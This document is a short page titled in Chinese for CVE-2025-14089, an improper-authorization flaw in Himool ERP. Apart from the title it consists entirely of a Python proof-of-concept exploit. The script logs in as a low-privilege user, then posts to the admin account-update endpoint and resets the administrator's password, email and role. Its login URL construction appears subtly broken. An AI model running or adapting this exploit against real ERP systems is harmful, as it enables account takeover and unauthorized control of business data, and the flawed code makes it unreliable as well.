CVE-2025-14089: Himool ERP 权限控制不当漏洞（CVSS 6.3）

import requests import json # CVE-2025-14089 PoC - Himool ERP Improper Authorization # Target: /api/admin/update_account/ # Vulnerability: Missing authorization check in AdminActionViewSet TARGET_URL = "http://target-server/api/admin/update_account/" # Authentication credentials (low-privilege user) USERNAME = "regular_user" PASSWORD = "user_password" # Malicious payload to modify admin account PAYLOAD = { "user_id": 1, "username": "admin", "password": "hacked_password_123", "email": "[email protected]", "role": "administrator" } def exploit(): """Exploit improper authorization vulnerability""" # Step 1: Login with low-privilege account session = requests.Session() login_data = {"username": USERNAME, "password": PASSWORD} try: login_resp = session.post( f"{TARGET_URL.rsplit('/', 2)[0]}/api/auth/login/", json=login_data ) if login_resp.status_code != 200: print("[-] Login failed") return False print("[+] Logged in with low-privilege account") # Step 2: Send malicious request to update admin account headers = {"Content-Type": "application/json"} exploit_resp = session.post( TARGET_URL, json=PAYLOAD, headers=headers ) if exploit_resp.status_code in [200, 201]: print("[+] Exploit successful - Admin account modified") print(f"[+] New admin password set: {PAYLOAD['password']}") return True else: print(f"[-] Exploit failed - Status: {exploit_resp.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": exploit()